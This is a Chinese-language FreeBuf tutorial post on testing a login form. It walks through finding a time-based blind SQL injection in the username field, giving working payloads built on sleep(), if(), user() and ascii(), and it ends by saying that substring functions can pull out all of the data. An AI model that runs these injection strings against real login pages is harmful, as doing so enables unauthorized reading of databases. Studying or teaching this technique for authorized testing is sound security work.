freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一个登录框怎么测试?
2024-01-29 09:22:40

测试步骤:

1、首先查找注入点:

在登录页面的账户输入admin’密码随便输,返回如下图

但是我输入admin’’ 密码随便,返回的又不一样

所以我先去bp里面抓包试验一下

用sleep()函数实验一下,看能不能触发这个sleep函数

果然它睡了五秒

Payload:admin'-sleep(5)-'

所以更加确定这个地方是有注入点的

那么接下来构造基本的轮子:

Payload:

admin '-sleep(if(1=1,5,0))-'#

在sleep()函数里面加一个if语句,就是说1=1那个表达式中,如果为真就返回5,否则就返回0

这一次也是停了5秒才显示出来的

继续构造poc

Payload:

admin '-sleep(if(user()!='a',10,0))-'#

利用user()获取当前用户,因为我不知道具体是哪个字符,所以只有加个感叹号才能说明这个语句为真,才会返回5,所以这次也是隔了五秒,raw才显示出来

继续构造poc

Payload:

a '-sleep(if(ascii(user())=1,10,0))-'#

所以我直接用ascii()函数将user()转换成ascii码进行爆破

出现了两个ascii码

所以试一下哪个是的

经过测验,发现121才会睡5秒,122没有睡

admin '-sleep(if(ascii(user())=121,5,0))-'#

admin '-sleep(if(ascii(user())=122,5,0))-'#

所以查ascii表发现

121对应字母y

然后来利用截取函数就可以跑出全部数据了

# 数据安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录